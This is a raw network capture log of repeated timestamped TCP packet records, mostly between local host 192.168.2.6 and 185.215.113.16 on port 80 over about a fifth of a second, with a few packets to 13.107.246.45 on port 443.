Nov 20, 2024 00:19:18.903132915 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.903146029 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.940045118 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.940088987 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.940095901 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.940108061 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.940151930 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.940155983 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.940166950 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.940203905 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.940233946 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.940247059 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.940258026 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.940280914 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.941175938 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.941210985 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.941220999 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.941226959 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.941252947 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.941366911 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.941437006 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.941450119 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.941461086 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.941471100 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.941476107 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.941498041 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.942466974 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.942506075 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.942730904 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.942742109 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.942750931 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.942763090 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.942775011 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.942780972 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.942791939 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.942804098 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.942816019 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.942822933 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.942831993 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.942837000 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.942846060 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.942857981 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.942867994 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.942867994 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.942883968 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.942893982 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.942924976 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.942981005 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943018913 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.943022013 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943087101 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943099022 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943109035 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943128109 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.943151951 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.943240881 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943252087 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943263054 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943274975 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943285942 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943295956 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.943295956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943325996 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.943339109 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.943391085 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943686008 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943697929 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943707943 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943721056 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943722010 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.943733931 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943743944 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943747044 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.943754911 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943766117 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943779945 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.943784952 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943809986 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.943823099 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.943979979 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.943998098 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944008112 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944019079 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944030046 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944036007 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.944040060 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944051027 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944056988 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.944063902 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944084883 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.944102049 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.944106102 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944118023 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944128036 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944139004 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944150925 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944163084 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944168091 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.944188118 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.944211960 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.944464922 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944475889 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944484949 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944498062 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944508076 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.944514036 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944530010 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944541931 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944546938 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.944552898 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944559097 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944569111 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944569111 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.944582939 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.944585085 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.944606066 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.972201109 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.972217083 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.972245932 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.972251892 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.972289085 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.972290039 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.972302914 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.972337008 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.972387075 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.972388983 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.972395897 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.972429991 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.974035978 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.974051952 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.974065065 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.974082947 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.974086046 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.974098921 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.974103928 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.974112988 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.974124908 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.974149942 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.974175930 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.976104021 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.976118088 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.976176977 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.976300001 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.976320028 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.976332903 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.976349115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.976357937 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.976366997 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.976378918 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.976388931 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.976419926 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.992017984 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992047071 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992058992 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992085934 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.992283106 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992295980 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992310047 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992321968 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.992324114 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992355108 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.992537975 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992566109 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992579937 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992582083 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.992599010 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992610931 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992616892 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.992623091 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992635965 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992646933 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.992650032 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992662907 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992675066 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992679119 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.992690086 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992700100 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.992701054 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992712975 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992724895 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992737055 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:18.992743015 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.992770910 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:18.992785931 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.029930115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.029952049 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.029968977 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.029980898 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.029989958 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.029994965 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.030010939 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.030024052 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.030031919 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.030050993 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.030776024 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.030817986 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.030857086 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.030868053 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.030879021 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.030900955 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.030916929 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.030941963 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.030971050 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.030982971 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.031001091 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.031022072 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.031940937 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.031965017 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.031987906 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.032018900 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032032013 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032057047 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.032330990 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032345057 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032356977 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032376051 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.032398939 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.032648087 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032663107 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032670975 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032691002 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032704115 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.032708883 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032721043 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032737017 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.032737017 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032762051 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032763004 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.032773972 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032784939 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032795906 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032807112 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032809973 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.032826900 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032839060 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.032840014 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032850981 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032866001 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032879114 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032890081 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.032890081 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032902956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032916069 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032921076 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.032927036 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.032943964 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.032964945 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.033013105 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033027887 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033032894 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033063889 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.033078909 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.033096075 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033107042 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033142090 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.033170938 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033181906 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033191919 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033209085 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033211946 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.033221960 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033261061 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.033276081 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033322096 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.033385038 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033396006 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033411980 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033431053 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.033464909 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033476114 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033487082 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033493996 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.033493996 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.033502102 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033524036 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.033562899 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033600092 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.033627987 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033641100 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033651114 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033670902 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.033698082 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033710003 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033723116 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033732891 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.033740997 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.033761978 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.033989906 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.034003973 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.034020901 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.034028053 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.034039021 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.034060001 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.046808958 CET	443	49771	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.047336102 CET	49771	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.047358036 CET	443	49771	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.048079967 CET	49771	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.048084974 CET	443	49771	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.061584949 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.061597109 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.061613083 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.061625957 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.061676979 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.061680079 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.061696053 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.061707973 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.061733007 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.061738968 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.061753988 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.061779022 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.063194036 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.063651085 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.063694954 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.063700914 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.063708067 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.063744068 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.063810110 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.063821077 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.063831091 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.063844919 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.063859940 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.063885927 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.065602064 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.065630913 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.065642118 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.065665007 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.065857887 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.065869093 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.065880060 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.065893888 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.065898895 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.065938950 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.081275940 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.081299067 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.081312895 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.081315994 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.081346989 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.081346989 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.081351995 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.081429005 CET	80	49765	185.215.113.16	192.168.2.6
